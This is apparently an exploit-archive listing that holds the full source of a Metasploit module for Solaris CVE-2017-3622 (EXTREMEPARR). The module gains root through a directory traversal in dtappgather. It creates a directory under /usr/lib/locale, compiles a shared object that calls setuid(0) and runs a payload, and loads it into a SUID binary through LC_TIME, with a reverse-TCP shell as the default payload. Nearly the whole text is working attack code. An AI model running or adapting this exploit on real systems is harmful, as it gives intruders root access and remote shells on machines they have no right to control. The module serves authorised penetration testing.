Solaris EXTREMEPARR dtappgather Privilege Escalation

2018.09.25
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Solaris::Priv include Msf::Post::Solaris::System include Msf::Post::Solaris::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation", 'Description' => %q{ This module exploits a directory traversal vulnerability in the `dtappgather` executable included with Common Desktop Environment (CDE) on unpatched Solaris systems prior to Solaris 10u11 which allows users to gain root privileges. dtappgather allows users to create a user-owned directory at any location on the filesystem using the `DTUSERSESSION` environment variable. This module creates a directory in `/usr/lib/locale`, writes a shared object to the directory, and runs the specified SUID binary with the shared object loaded using the `LC_TIME` environment variable. This module has been tested successfully on: Solaris 9u7 (09/04) (x86); Solaris 10u1 (01/06) (x86); Solaris 10u2 (06/06) (x86); Solaris 10u4 (08/07) (x86); Solaris 10u8 (10/09) (x86); Solaris 10u9 (09/10) (x86). }, 'References' => [ ['BID', '97774'], ['CVE', '2017-3622'], ['EDB', '41871'], ['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'], ['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html'] ], 'Notes' => { 'AKA' => ['EXTREMEPARR'] }, 'License' => MSF_LICENSE, 'Author' => [ 'Shadow Brokers', # exploit 'Hacker Fantastic', # dtappgather-poc.sh 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Apr 24 2017', 'Privileged' => true, 'Platform' => ['solaris', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC], 'Targets' => [['Auto', {}]], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'PAYLOAD' => 'solaris/x86/shell_reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ # Some useful example SUID executables: # * /usr/bin/at # * /usr/bin/cancel # * /usr/bin/chkey # * /usr/bin/lp # * /usr/bin/lpset # * /usr/bin/lpstat # * /usr/lib/lp/bin/netpr # * /usr/sbin/lpmove OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']), OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def suid_bin_path datastore['SUID_PATH'] end def dtappgather_path datastore['DTAPPGATHER_PATH'] end def mkdir(path) vprint_status "Creating directory '#{path}'" cmd_exec "mkdir -p '#{path}'" register_dir_for_cleanup path end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path end def symlink(link_target, link_name) vprint_status "Symlinking #{link_target} to #{link_name}" rm_f link_name cmd_exec "ln -sf #{link_target} #{link_name}" register_file_for_cleanup link_name end def check [dtappgather_path, suid_bin_path].each do |path| unless setuid? path vprint_error "#{path} is not setuid" return CheckCode::Safe end vprint_good "#{path} is setuid" end unless has_gcc? vprint_error 'gcc is not installed' return CheckCode::Safe end vprint_good 'gcc is installed' version = kernel_release if version.to_s.eql? '' vprint_error 'Could not determine Solaris version' return CheckCode::Detected end unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10') vprint_error "Solaris version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Solaris version #{version} appears to be vulnerable" CheckCode::Appears end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end # Remove appmanager directory and contents appmanager_path = '/var/dt/appconfig/appmanager' vprint_status "Cleaning appmanager directory #{appmanager_path}" cmd_exec "chmod -R 755 #{appmanager_path}/*" cmd_exec "rm -rf #{appmanager_path}/*" rm_f appmanager_path # Create writable directory in /usr/lib/locale locale_path = '/usr/lib/locale' locale_name = rand_text_alphanumeric 5..10 new_dir = "#{locale_path}/#{locale_name}" vprint_status "Creating directory #{new_dir}" depth = 3 cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather" depth.times do cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather" end symlink locale_path, appmanager_path cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}" unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}" end print_good "Created directory #{new_dir}" register_dir_for_cleanup new_dir rm_f appmanager_path cmd_exec "chmod 755 #{new_dir}" # Upload and compile shared object base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" mkdir base_path payload_name = ".#{rand_text_alphanumeric 5..10}" payload_path = "#{base_path}/#{payload_name}" so = <<-EOF void __attribute__((constructor)) cons() { setuid(0); setgid(0); execle("#{payload_path}", "", 0, 0); _exit(0); } EOF so_name = ".#{rand_text_alphanumeric 5..10}" so_path = "#{base_path}/#{so_name}" upload_and_compile so_path, so vprint_status "Writing shared objects to #{new_dir}" cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'" register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2" cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'" register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3" # Upload and execute payload upload payload_path, generate_payload_exe cmd_exec "chmod +x #{payload_path}" print_status 'Executing payload...' cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo " end end


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